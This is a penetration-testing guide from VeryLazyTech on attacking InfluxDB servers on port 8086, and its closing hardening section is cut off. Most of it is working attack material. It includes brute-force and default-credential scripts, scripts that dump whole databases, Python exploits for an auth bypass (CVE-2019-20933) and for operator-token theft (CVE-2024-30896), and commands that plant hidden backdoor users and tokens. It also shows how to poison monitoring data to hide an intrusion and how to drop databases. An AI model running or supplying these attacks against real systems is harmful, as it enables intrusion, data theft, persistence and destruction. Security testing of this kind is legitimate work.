# InfluxDB - Port 8086

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## Basic info

#### What is InfluxDB?

**InfluxDB** is a purpose-built time series database optimized for handling time-stamped data points. Unlike traditional relational databases, InfluxDB is designed specifically for:

* **High-velocity data ingestion** - Millions of data points per second
* **Time-based queries** - Fast aggregations over time ranges
* **Automatic data retention** - Built-in data expiration policies
* **Efficient storage** - Specialized compression for time series data
* **Real-time analytics** - Fast queries for monitoring and alerting

#### Time Series Database Concepts

**Time Series Data Structure:**

```
measurement,tag_key=tag_value field_key=field_value timestamp

Example:
cpu,host=server01,region=us-west usage_idle=99.5,usage_user=0.3 1609459200000000000
│   │                        │                               │
│   └─ Tags (indexed)        └─ Fields (not indexed)         └─ Timestamp (nanoseconds)
└─ Measurement (like SQL table)
```

**Key Terminology:**

* **Measurement** - Similar to SQL table (e.g., "cpu", "memory", "disk")
* **Tags** - Indexed metadata (hostname, region, environment)
* **Fields** - Actual data values (usage percentages, counts, etc.)
* **Point** - Single data record with measurement, tags, fields, and timestamp
* **Series** - Collection of points with same measurement and tag set
* **Bucket** (v2.x) - Named location for time series data
* **Organization** (v2.x) - Workspace containing users, buckets, and dashboards

#### Architecture Differences

**InfluxDB v1.x vs v2.x:**

```
┌─────────────────────────────────────────────────────────────┐
│                     InfluxDB v1.x                           │
├─────────────────────────────────────────────────────────────┤
│  - Username/Password authentication                         │
│  - InfluxQL query language (SQL-like)                       │
│  - Databases and retention policies                         │
│  - HTTP API at /query and /write                            │
│  - CLI: influx                                              │
└─────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────┐
│                     InfluxDB v2.x                           │
├─────────────────────────────────────────────────────────────┤
│  - Token-based authentication                               │
│  - Flux query language (functional)                         │
│  - Buckets and organizations                                │
│  - Unified HTTP API at /api/v2/*                            │
│  - CLI: influx                                              │
│  - Web UI included (http://host:8086)                       │
└─────────────────────────────────────────────────────────────┘
```

#### Common Use Cases

**Monitoring & Observability:**

* System metrics (CPU, memory, disk, network)
* Application performance monitoring (APM)
* Infrastructure monitoring with Telegraf
* Grafana dashboards

**IoT & Sensor Data:**

* Temperature, humidity, pressure sensors
* Industrial equipment telemetry
* Smart home data collection

**Financial & Business:**

* Stock market tick data
* Transaction monitoring
* Business metrics and KPIs

**DevOps & Cloud:**

* Container metrics (Docker, Kubernetes)
* Cloud resource utilization
* CI/CD pipeline metrics

#### Default Port

**Default Port:** 8086

```
PORT     STATE SERVICE VERSION
8086/tcp open  http    InfluxDB http admin 1.7.5
```

**Additional Ports:**

* **8088** - RPC service for backup/restore (v1.x)
* **8089** - UDP service (optional)

## Reconnaissance & Enumeration

### Port Scanning

**Basic Nmap Scan**

```bash
# Quick scan
nmap -p 8086 -sV <target-ip>

# Detailed scan
nmap -p 8086 -sV -sC <target-ip>

# Scan common InfluxDB ports
nmap -p 8086,8088,8089 -sV <target-ip>

# Scan entire subnet
nmap -p 8086 -sV <target-subnet>/24 -oA influxdb-scan

# Aggressive scan
nmap -p 8086 -A <target-ip>
```

**Sample Output:**

```
PORT     STATE SERVICE VERSION
8086/tcp open  http    InfluxDB http admin 1.7.5
|_http-title: InfluxDB
```

### Version Detection

**Method 1: HTTP Banner (v1.x)**

```bash
# Ping endpoint
curl -i http://<target-ip>:8086/ping

# Sample response:
HTTP/1.1 204 No Content
Content-Type: application/json
Request-Id: 3a3f8c9e-7b2d-11eb-8001-0242ac110002
X-Influxdb-Build: OSS
X-Influxdb-Version: 1.8.10
X-Request-Id: 3a3f8c9e-7b2d-11eb-8001-0242ac110002
Date: Mon, 15 Jan 2024 10:30:00 GMT
```

**Method 2: Health Endpoint (v2.x)**

```bash
# Health check
curl -s http://<target-ip>:8086/health | jq .

# Sample response:
{
  "name": "influxdb",
  "message": "ready for queries and writes",
  "status": "pass",
  "checks": [],
  "version": "2.7.4",
  "commit": "a68c00f027"
}
```

**Method 3: Query Endpoint Version**

```bash
# Try query endpoint
curl -s http://<target-ip>:8086/query

# v1.x returns JSON error
# v2.x returns HTML with version info
```

**Method 4: Web Interface (v2.x)**

```bash
# Access web UI
curl -s http://<target-ip>:8086 | grep -i "influxdb"

# Or via browser
firefox http://<target-ip>:8086
```

### Service Fingerprinting

**Check Available Endpoints**

```bash
# Common v1.x endpoints
curl -i http://<target-ip>:8086/ping
curl -i http://<target-ip>:8086/query
curl -i http://<target-ip>:8086/write
curl -i http://<target-ip>:8086/debug/vars

# Common v2.x endpoints
curl -i http://<target-ip>:8086/health
curl -i http://<target-ip>:8086/api/v2/health
curl -i http://<target-ip>:8086/metrics
curl -i http://<target-ip>:8086/api/v2/query
curl -i http://<target-ip>:8086/api/v2/write

# Prometheus metrics endpoint
curl -s http://<target-ip>:8086/metrics | head -20
```

### Shodan Queries

Find exposed InfluxDB instances:

```
port:8086
port:8086 influxdb
"X-Influxdb-Version"
influxdb port:8086
product:"InfluxDB"
```

## Authentication Testing

#### Check Authentication Requirements (v1.x)

**Method 1: CLI Connection**

```bash
# Try without credentials
influx -host <target-ip> -port 8086

# If you get a prompt (>), authentication is disabled
> show databases

# If you get an error, authentication is required
# ERR: unable to parse authentication credentials
```

**Method 2: HTTP API Test**

```bash
# Try listing databases without auth
curl -sG "http://<target-ip>:8086/query" --data-urlencode "q=SHOW DATABASES"

# Success response (auth disabled):
{
  "results": [
    {
      "statement_id": 0,
      "series": [
        {
          "name": "databases",
          "columns": ["name"],
          "values": [["_internal"], ["telegraf"]]
        }
      ]
    }
  ]
}

# Error response (auth enabled):
{
  "error": "authorization failed"
}
```

**With Authentication:**

```bash
# CLI with credentials
influx -host <target-ip> -port 8086 -username admin -password 'password'

# HTTP API with credentials
curl -sG "http://<target-ip>:8086/query" \
  -u admin:password \
  --data-urlencode "q=SHOW DATABASES"

# Or with header
curl -sG "http://<target-ip>:8086/query" \
  -H "Authorization: Basic $(echo -n 'admin:password' | base64)" \
  --data-urlencode "q=SHOW DATABASES"
```

#### Check Authentication Requirements (v2.x)

**Method 1: Health Endpoint (No Auth Required)**

```bash
# Health endpoint works without auth
curl -s http://<target-ip>:8086/health | jq .
```

**Method 2: API Requests**

```bash
# Try listing buckets without token
curl -s http://<target-ip>:8086/api/v2/buckets

# Error response:
{
  "code": "unauthorized",
  "message": "unauthorized access"
}

# With token
curl -s -H "Authorization: Token <token>" \
  http://<target-ip>:8086/api/v2/buckets | jq .
```

### Default Credentials

**Common Default Credentials (v1.x):**

```
admin:admin
root:root
influxdb:influxdb
admin:password
telegraf:telegraf
grafana:grafana
```

**Credential Testing Script:**

```bash
#!/bin/bash
HOST=$1
CREDS=(
    "admin:admin"
    "root:root"
    "influxdb:influxdb"
    "admin:password"
    "telegraf:telegraf"
)

for cred in "${CREDS[@]}"; do
    USER=$(echo $cred | cut -d: -f1)
    PASS=$(echo $cred | cut -d: -f2)
    
    echo "[*] Testing: $USER:$PASS"
    
    RESULT=$(curl -s -G "http://$HOST:8086/query" \
        -u "$USER:$PASS" \
        --data-urlencode "q=SHOW DATABASES" | grep -c "results")
    
    if [ $RESULT -gt 0 ]; then
        echo "[+] SUCCESS: $USER:$PASS"
        exit 0
    fi
done

echo "[-] No default credentials found"
```

### Brute Force Authentication

**Using Hydra (v1.x)**

```bash
# Brute force with username list
hydra -L users.txt -P passwords.txt <target-ip> http-get /query

# Single username
hydra -l admin -P /usr/share/wordlists/rockyou.txt <target-ip> http-get /query

# With custom URL
hydra -l admin -P passwords.txt <target-ip> \
  http-get "/query?q=SHOW%20DATABASES"
```

**Using Medusa**

```bash
medusa -h <target-ip> -u admin -P passwords.txt -M http \
  -m DIR:/query -T 10
```

**Custom Python Script**

```python
#!/usr/bin/env python3
import requests
import sys

def brute_force_influx(host, port, username, password_file):
    url = f"http://{host}:{port}/query"
    
    with open(password_file, 'r') as f:
        for password in f:
            password = password.strip()
            
            try:
                r = requests.get(url, 
                    auth=(username, password),
                    params={'q': 'SHOW DATABASES'},
                    timeout=5)
                
                if r.status_code == 200 and 'results' in r.text:
                    print(f"[+] SUCCESS: {username}:{password}")
                    return password
                else:
                    print(f"[-] Failed: {username}:{password}")
                    
            except Exception as e:
                print(f"[!] Error: {e}")
    
    print("[-] Password not found")
    return None

if __name__ == "__main__":
    if len(sys.argv) != 5:
        print(f"Usage: {sys.argv[0]} <host> <port> <username> <password_file>")
        sys.exit(1)
    
    brute_force_influx(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])
```

## Exploitation - InfluxDB v1.x

### Unauthenticated Access (No Auth)

**List Databases**

```bash
# Show all databases
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "q=SHOW DATABASES" | jq .

# Sample output:
{
  "results": [
    {
      "statement_id": 0,
      "series": [
        {
          "name": "databases",
          "columns": ["name"],
          "values": [
            ["_internal"],
            ["telegraf"],
            ["myapp"]
          ]
        }
      ]
    }
  ]
}
```

**List Users**

```bash
# Show all users
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "q=SHOW USERS" | jq .

# Sample output:
{
  "results": [
    {
      "statement_id": 0,
      "series": [
        {
          "columns": ["user", "admin"],
          "values": [
            ["admin", true],
            ["readonly", false],
            ["telegraf", false]
          ]
        }
      ]
    }
  ]
}
```

**List Measurements (Tables)**

```bash
# Select a database
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "db=telegraf" \
  --data-urlencode "q=SHOW MEASUREMENTS" | jq .

# Sample output:
{
  "results": [
    {
      "statement_id": 0,
      "series": [
        {
          "name": "measurements",
          "columns": ["name"],
          "values": [
            ["cpu"],
            ["disk"],
            ["mem"],
            ["net"],
            ["system"]
          ]
        }
      ]
    }
  ]
}
```

**List Field Keys (Columns)**

```bash
# Show columns for a measurement
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "db=telegraf" \
  --data-urlencode "q=SHOW FIELD KEYS FROM cpu" | jq .

# Sample output:
{
  "results": [
    {
      "statement_id": 0,
      "series": [
        {
          "name": "cpu",
          "columns": ["fieldKey", "fieldType"],
          "values": [
            ["usage_guest", "float"],
            ["usage_idle", "float"],
            ["usage_iowait", "float"],
            ["usage_system", "float"],
            ["usage_user", "float"]
          ]
        }
      ]
    }
  ]
}
```

**List Tag Keys**

```bash
# Show tags (indexed fields)
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "db=telegraf" \
  --data-urlencode "q=SHOW TAG KEYS FROM cpu" | jq .

# Sample output:
{
  "results": [
    {
      "statement_id": 0,
      "series": [
        {
          "name": "cpu",
          "columns": ["tagKey"],
          "values": [
            ["cpu"],
            ["host"]
          ]
        }
      ]
    }
  ]
}
```

**Query Data**

```bash
# Basic SELECT query
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "db=telegraf" \
  --data-urlencode "q=SELECT * FROM cpu LIMIT 5" | jq .

# With WHERE clause
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "db=telegraf" \
  --data-urlencode "q=SELECT * FROM cpu WHERE host='server01' LIMIT 10" | jq .

# Query specific fields
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "db=telegraf" \
  --data-urlencode "q=SELECT usage_user, usage_system FROM cpu LIMIT 5" | jq .

# Time-based query
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "db=telegraf" \
  --data-urlencode "q=SELECT * FROM cpu WHERE time > now() - 1h" | jq .
```

**Important Note on Quoting:**

```bash
# Some exploits/bypasses require double quotes around measurement names
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "db=telegraf" \
  --data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .
```

### Data Exfiltration

**Dump Entire Database**

```bash
#!/bin/bash
# Script to dump all data from InfluxDB

HOST=$1
DB=$2

if [ -z "$HOST" ] || [ -z "$DB" ]; then
    echo "Usage: $0 <host> <database>"
    exit 1
fi

# Get all measurements
MEASUREMENTS=$(curl -sG "http://$HOST:8086/query" \
    --data-urlencode "db=$DB" \
    --data-urlencode "q=SHOW MEASUREMENTS" | \
    jq -r '.results[0].series[0].values[][0]')

# Dump each measurement
for measurement in $MEASUREMENTS; do
    echo "[*] Dumping measurement: $measurement"
    
    curl -sG "http://$HOST:8086/query" \
        --data-urlencode "db=$DB" \
        --data-urlencode "q=SELECT * FROM \"$measurement\"" \
        > "${measurement}.json"
    
    echo "[+] Saved to ${measurement}.json"
done

echo "[*] Dump complete!"
```

**Export to CSV Format**

```bash
# InfluxDB can return CSV format
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "db=telegraf" \
  --data-urlencode "q=SELECT * FROM cpu LIMIT 100" \
  -H "Accept: application/csv" > cpu_data.csv
```

**Search for Sensitive Data**

```bash
# Search for measurements containing keywords
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "db=myapp" \
  --data-urlencode "q=SHOW MEASUREMENTS" | \
  jq -r '.results[0].series[0].values[][0]' | \
  grep -E "password|secret|token|key|credential"

# Query potential sensitive measurements
for measurement in "passwords" "credentials" "secrets" "tokens" "api_keys"; do
    echo "[*] Checking: $measurement"
    curl -sG "http://<target-ip>:8086/query" \
        --data-urlencode "db=myapp" \
        --data-urlencode "q=SELECT * FROM \"$measurement\" LIMIT 5" | jq .
done
```

### Creating Admin User (If Auth Disabled)

**Create Admin User**

```bash
# Create new admin user
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"

# Verify user creation
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "q=SHOW USERS"

# Now you can authenticate with these credentials
influx -host <target-ip> -username hacker -password 'P@ssw0rd!'
```

**Grant Admin Privileges to Existing User**

```bash
# If you have a low-privilege account
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "q=GRANT ALL PRIVILEGES TO lowpriv_user"
```

#### Data Manipulation

**Write Data (If Auth Disabled)**

```bash
# Write data to a database
curl -i -XPOST "http://<target-ip>:8086/write?db=telegraf" \
  --data-binary 'cpu,host=backdoor,region=us-west usage_idle=100,usage_user=0 1609459200000000000'

# Write multiple points
curl -i -XPOST "http://<target-ip>:8086/write?db=myapp" \
  --data-binary 'backdoor,type=test value=1
backdoor,type=test value=2
backdoor,type=test value=3'

# Verify written data
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "db=myapp" \
  --data-urlencode "q=SELECT * FROM backdoor" | jq .
```

**Delete Data**

```bash
# Delete specific data
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "db=telegraf" \
  --data-urlencode "q=DELETE FROM cpu WHERE host='server01'"

# Drop measurement
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "db=telegraf" \
  --data-urlencode "q=DROP MEASUREMENT cpu"

# Drop database (dangerous!)
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "q=DROP DATABASE myapp"
```

### Authentication Bypass (CVE-2019-20933)

**Vulnerability:** JWT Token Bypass

**Affected Versions:** InfluxDB < 1.7.6

**Exploitation:**

```bash
# Clone exploit
git clone https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933.git
cd InfluxDB-Exploit-CVE-2019-20933

# Run exploit
python3 exploit.py <target-ip>

# The exploit generates a valid JWT token that bypasses authentication
# Use the token to query databases
curl -sG "http://<target-ip>:8086/query" \
  -H "Authorization: Bearer <generated_token>" \
  --data-urlencode "q=SHOW DATABASES" | jq .
```

**Manual Exploitation:**

```python
#!/usr/bin/env python3
import jwt
import requests
import sys

def exploit_cve_2019_20933(host, port=8086):
    url = f"http://{host}:{port}/query"
    
    # Craft malicious JWT with no signature verification
    # The vulnerability allows us to set "admin" claim without proper validation
    payload = {
        "username": "admin",
        "exp": 9999999999  # Far future expiration
    }
    
    # Create token with 'none' algorithm (no signature)
    token = jwt.encode(payload, '', algorithm='none')
    
    # Remove trailing '.' if present
    token = token.rstrip('.')
    
    print(f"[*] Generated token: {token}")
    
    # Test with token
    headers = {'Authorization': f'Bearer {token}'}
    params = {'q': 'SHOW DATABASES'}
    
    try:
        r = requests.get(url, headers=headers, params=params)
        if r.status_code == 200 and 'results' in r.text:
            print("[+] Authentication bypass successful!")
            print(r.text)
            return token
        else:
            print("[-] Bypass failed")
            return None
    except Exception as e:
        print(f"[!] Error: {e}")
        return None

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <host> [port]")
        sys.exit(1)
    
    host = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 8086
    
    exploit_cve_2019_20933(host, port)
```

### Exploitation - InfluxDB v2.x

#### Token-Based Authentication

**Understanding v2.x Tokens:**

```
v2.x uses API tokens for authentication:
- All-Access Tokens: Full admin access to all resources
- Read/Write Tokens: Limited to specific buckets
- Operator Token: Instance-wide administrative token
```

**Finding Tokens:**

Common locations where tokens might be found:

```bash
# Configuration files
/etc/influxdb/influxdb.conf
~/.influxdbv2/configs

# Environment variables
echo $INFLUX_TOKEN
env | grep INFLUX

# Application configs
/app/config/influxdb.yaml
/var/www/html/.env

# Docker containers
docker inspect <container> | grep INFLUX_TOKEN

# Kubernetes secrets
kubectl get secrets -o yaml | grep influx

# Log files (tokens sometimes logged)
/var/log/influxdb/
```

#### v2.x Enumeration

**Health Check (No Auth Required)**

```bash
# Get version and health status
curl -s http://<target-ip>:8086/health | jq .

# Sample response:
{
  "name": "influxdb",
  "message": "ready for queries and writes",
  "status": "pass",
  "checks": [],
  "version": "2.7.4",
  "commit": "a68c00f027"
}
```

**Using Valid Token**

```bash
# Set token variable
TOKEN="your_token_here"

# List organizations
curl -s -H "Authorization: Token $TOKEN" \
  http://<target-ip>:8086/api/v2/organizations | jq .

# List buckets
curl -s -H "Authorization: Token $TOKEN" \
  http://<target-ip>:8086/api/v2/buckets | jq .

# List users
curl -s -H "Authorization: Token $TOKEN" \
  http://<target-ip>:8086/api/v2/users | jq .

# List authorizations (tokens)
curl -s -H "Authorization: Token $TOKEN" \
  http://<target-ip>:8086/api/v2/authorizations | jq .

# Get specific organization
ORG_ID="<org_id>"
curl -s -H "Authorization: Token $TOKEN" \
  "http://<target-ip>:8086/api/v2/organizations/$ORG_ID" | jq .
```

**Query Data with Flux**

```bash
# Basic Flux query
curl -s -H "Authorization: Token $TOKEN" \
  -H "Accept: application/csv" \
  -H "Content-Type: application/vnd.flux" \
  -X POST http://<target-ip>:8086/api/v2/query \
  --data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'

# Query with JSON output
curl -s -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/vnd.flux" \
  -X POST http://<target-ip>:8086/api/v2/query \
  --data 'from(bucket:"telegraf") |> range(start:-1h)' | jq .

# Complex query
FLUX_QUERY='
from(bucket:"telegraf")
  |> range(start:-24h)
  |> filter(fn: (r) => r._measurement == "cpu")
  |> filter(fn: (r) => r._field == "usage_user")
  |> limit(n:100)
'

curl -s -H "Authorization: Token $TOKEN" \
  -H "Accept: application/csv" \
  -H "Content-Type: application/vnd.flux" \
  -X POST http://<target-ip>:8086/api/v2/query \
  --data "$FLUX_QUERY" > cpu_data.csv
```

#### v2.x Data Exfiltration

**Dump All Buckets**

```bash
#!/bin/bash
# Script to dump all buckets from InfluxDB v2.x

HOST=$1
TOKEN=$2

if [ -z "$HOST" ] || [ -z "$TOKEN" ]; then
    echo "Usage: $0 <host> <token>"
    exit 1
fi

AUTH="Authorization: Token $TOKEN"

# Get all buckets
BUCKETS=$(curl -s -H "$AUTH" "http://$HOST:8086/api/v2/buckets" | \
    jq -r '.buckets[].name')

# Dump each bucket
for bucket in $BUCKETS; do
    echo "[*] Dumping bucket: $bucket"
    
    FLUX_QUERY="from(bucket:\"$bucket\") |> range(start:-30d)"
    
    curl -s -H "$AUTH" \
        -H "Accept: application/csv" \
        -H "Content-Type: application/vnd.flux" \
        -X POST "http://$HOST:8086/api/v2/query" \
        --data "$FLUX_QUERY" > "${bucket}.csv"
    
    echo "[+] Saved to ${bucket}.csv"
done

echo "[*] Dump complete!"
```

**Search for Sensitive Data**

```bash
# List all measurements in a bucket
FLUX_QUERY='
import "influxdata/influxdb/schema"
schema.measurements(bucket: "telegraf")
'

curl -s -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/vnd.flux" \
  -X POST http://<target-ip>:8086/api/v2/query \
  --data "$FLUX_QUERY" | jq .

# Search for specific patterns
FLUX_QUERY='
from(bucket:"myapp")
  |> range(start:-30d)
  |> filter(fn: (r) => r._measurement =~ /password|secret|token|key/)
'

curl -s -H "Authorization: Token $TOKEN" \
  -H "Accept: application/csv" \
  -H "Content-Type: application/vnd.flux" \
  -X POST http://<target-ip>:8086/api/v2/query \
  --data "$FLUX_QUERY"
```

#### CVE-2024-30896: Operator Token Exposure

**Vulnerability Overview:**

* **Affected:** InfluxDB OSS 2.x through 2.7.11 (pre-patch)
* **Impact:** Authenticated user can retrieve operator token
* **Severity:** Critical (full instance compromise)

**Description:**

An authenticated user with read access to the authorization resource in the **default organization** can list and retrieve the instance-wide **operator token**. With this token, an attacker gains full administrative access.

**Detection:**

```bash
# Check if vulnerable (you need a valid user/all-access token)
USER_TOKEN="<your_token>"
DEFAULT_ORG_ID="<default_org_id>"

# Attempt to list authorizations
curl -s -H "Authorization: Token $USER_TOKEN" \
  "http://<target-ip>:8086/api/v2/authorizations?orgID=$DEFAULT_ORG_ID" | jq .

# Look for entries with type "operator"
# Example response:
{
  "authorizations": [
    {
      "id": "abc123",
      "token": "OPERATOR_TOKEN_HERE==",
      "status": "active",
      "description": "admin's Token",
      "orgID": "default_org_id",
      "permissions": [...],
      "userID": "admin_user_id"
    },
    {
      "id": "operator123",
      "token": "SUPER_SECRET_OPERATOR_TOKEN==",
      "status": "active",
      "description": "operator token",
      "orgID": "default_org_id",
      "permissions": [
        {"action": "write", "resource": {"type": "authorizations"}},
        {"action": "write", "resource": {"type": "buckets"}},
        {"action": "write", "resource": {"type": "orgs"}},
        {"action": "write", "resource": {"type": "users"}}
      ]
    }
  ]
}
```

**Exploitation:**

```bash
# 1. Get default organization ID
curl -s -H "Authorization: Token $USER_TOKEN" \
  http://<target-ip>:8086/api/v2/organizations | \
  jq -r '.orgs[] | select(.name=="default") | .id'

# 2. List authorizations in default org
DEFAULT_ORG="<id_from_step_1>"
AUTHS=$(curl -s -H "Authorization: Token $USER_TOKEN" \
  "http://<target-ip>:8086/api/v2/authorizations?orgID=$DEFAULT_ORG")

# 3. Extract operator token
OPERATOR_TOKEN=$(echo $AUTHS | \
  jq -r '.authorizations[] | select(.description | contains("operator")) | .token')

echo "[+] Operator Token: $OPERATOR_TOKEN"

# 4. Use operator token for full access
curl -s -H "Authorization: Token $OPERATOR_TOKEN" \
  http://<target-ip>:8086/api/v2/users | jq .

# 5. Create new admin user
curl -X POST -H "Authorization: Token $OPERATOR_TOKEN" \
  -H "Content-Type: application/json" \
  http://<target-ip>:8086/api/v2/users \
  --data '{
    "name": "backdoor_admin",
    "password": "P@ssw0rd123!"
  }'

# 6. Grant admin to new user
USER_ID="<new_user_id>"
curl -X POST -H "Authorization: Token $OPERATOR_TOKEN" \
  -H "Content-Type: application/json" \
  "http://<target-ip>:8086/api/v2/organizations/$DEFAULT_ORG/members" \
  --data "{
    \"id\": \"$USER_ID\"
  }"
```

**Automated Exploit:**

```python
#!/usr/bin/env python3
import requests
import json
import sys

def exploit_cve_2024_30896(host, user_token):
    base_url = f"http://{host}:8086"
    headers = {"Authorization": f"Token {user_token}"}
    
    # 1. Get organizations
    print("[*] Fetching organizations...")
    r = requests.get(f"{base_url}/api/v2/organizations", headers=headers)
    orgs = r.json()
    
    default_org = None
    for org in orgs.get('orgs', []):
        if org['name'] == 'default':
            default_org = org['id']
            break
    
    if not default_org:
        print("[-] Default organization not found")
        return None
    
    print(f"[+] Default org ID: {default_org}")
    
    # 2. List authorizations
    print("[*] Fetching authorizations...")
    r = requests.get(
        f"{base_url}/api/v2/authorizations",
        headers=headers,
        params={'orgID': default_org}
    )
    
    if r.status_code != 200:
        print("[-] Failed to fetch authorizations")
        return None
    
    auths = r.json()
    
    # 3. Find operator token
    operator_token = None
    for auth in auths.get('authorizations', []):
        # Check if this is an operator token
        desc = auth.get('description', '').lower()
        perms = auth.get('permissions', [])
        
        # Operator tokens have extensive permissions
        if len(perms) > 10 or 'operator' in desc:
            operator_token = auth.get('token')
            print(f"[+] Found operator token!")
            print(f"    Description: {auth.get('description')}")
            print(f"    Token: {operator_token}")
            break
    
    return operator_token

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <host> <user_token>")
        sys.exit(1)
    
    token = exploit_cve_2024_30896(sys.argv[1], sys.argv[2])
    
    if token:
        print("\n[+] Exploitation successful!")
        print(f"[+] Use this operator token for full access: {token}")
    else:
        print("\n[-] Exploitation failed")
```

## Post-Exploitation

#### Persistence

**Create Backdoor User (v1.x)**

```bash
# Create hidden admin user
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "q=CREATE USER .system WITH PASSWORD 'Backdoor123!' WITH ALL PRIVILEGES"

# User starting with '.' is less visible in some interfaces
```

**Create Backdoor Token (v2.x)**

```bash
# Create all-access token
curl -X POST -H "Authorization: Token $OPERATOR_TOKEN" \
  -H "Content-Type: application/json" \
  http://<target-ip>:8086/api/v2/authorizations \
  --data '{
    "orgID": "'$ORG_ID'",
    "description": "system_monitoring",
    "permissions": [
      {"action": "read", "resource": {"type": "buckets"}},
      {"action": "write", "resource": {"type": "buckets"}},
      {"action": "read", "resource": {"type": "orgs"}},
      {"action": "write", "resource": {"type": "orgs"}}
    ]
  }'

# Extract and save the token
```

**Data Poisoning**

```bash
# Inject false metrics to hide attack
curl -i -XPOST "http://<target-ip>:8086/write?db=telegraf" \
  --data-binary 'system,host=monitoring status="normal" 1609459200000000000'

# This can be used to hide anomalies in monitoring systems
```

### Privilege Escalation

**From Read-Only to Admin (v1.x)**

```bash
# If you have credentials but limited privileges
# And auth is disabled globally (misconfiguration)

# Create admin user
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "q=CREATE USER newadmin WITH PASSWORD 'Pass123!' WITH ALL PRIVILEGES"

# Verify
influx -host <target-ip> -username newadmin -password 'Pass123!'
> SHOW USERS
```

**Token Privilege Escalation (v2.x)**

```bash
# If you have a token with limited permissions
# Try to use CVE-2024-30896 to get operator token

# Or create new tokens if you have authorization write permission
curl -X POST -H "Authorization: Token $LIMITED_TOKEN" \
  -H "Content-Type: application/json" \
  http://<target-ip>:8086/api/v2/authorizations \
  --data '{
    "orgID": "'$ORG_ID'",
    "permissions": [
      {"action": "write", "resource": {"type": "authorizations"}},
      {"action": "write", "resource": {"type": "buckets"}},
      {"action": "write", "resource": {"type": "users"}}
    ]
  }'
```

### Lateral Movement

**Extract Credentials from Data**

```bash
# Search for database connection strings in metrics
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "db=myapp" \
  --data-urlencode "q=SHOW MEASUREMENTS" | \
  grep -E "connection|database|db_"

# Query for configuration metrics
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "db=myapp" \
  --data-urlencode "q=SELECT * FROM config LIMIT 100" | \
  grep -E "password|secret|token"

# Look for API tokens in application metrics
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "db=telegraf" \
  --data-urlencode "q=SELECT * FROM http_response WHERE url =~ /api/i" | \
  grep -i "token\|key"
```

**Map Infrastructure**

```bash
# Telegraf often collects info about entire infrastructure
# Get list of all monitored hosts
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "db=telegraf" \
  --data-urlencode "q=SHOW TAG VALUES FROM cpu WITH KEY = host"

# Get network topology from net stats
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "db=telegraf" \
  --data-urlencode "q=SELECT * FROM net WHERE time > now() - 1h" | \
  jq -r '.results[0].series[].tags.host' | sort -u

# Find internal services
curl -sG "http://<target-ip>:8086/query" \
  --data-urlencode "db=telegraf" \
  --data-urlencode "q=SHOW TAG VALUES FROM procstat WITH KEY = process_name"
```

## Defense & Hardening

#### Secure Configuration (v1.x)

**Enable Authentication**

```toml
# /etc/influxdb/influxdb.conf

[http]
  # Enable authentication
  auth-enabled = true
  
  # Bind to localhost only
  bind-address = "127.0.0.1:8086"
  
  # Enable HTTPS
  https-enabled = true
  https-certificate = "/etc/ssl/influxdb.pem"
  https-private-key = "/etc/ssl/influxdb-key.pem"
  
  # Disable dangerous endpoints
  pprof-enabled = false
  
  # Set max connection limit
  max-connection-limit = 0
  
  # Enable request logging
  access-log-path = "/var/log/influxdb/access.log"
```

**Create Strong Admin Credentials**

```bash
# Create admin user
influx
> CREATE USER admin WITH PASSWORD 'VeryStrongPassword!@#$%' WITH ALL PRIVILEGES

# Create read-only users
> CREATE USER readonly WITH PASSWORD 'ReadOnlyPass123!'

# Grant specific database access
> GRANT READ ON telegraf TO readonly

# Verify users
> SHOW USERS
user     admin
----     -----
admin    true
readonly false
```

**Remove Default Users**

```bash
# Drop any default or weak users
influx -username admin -password 'VeryStrongPassword!@#$%'
> DROP USER root
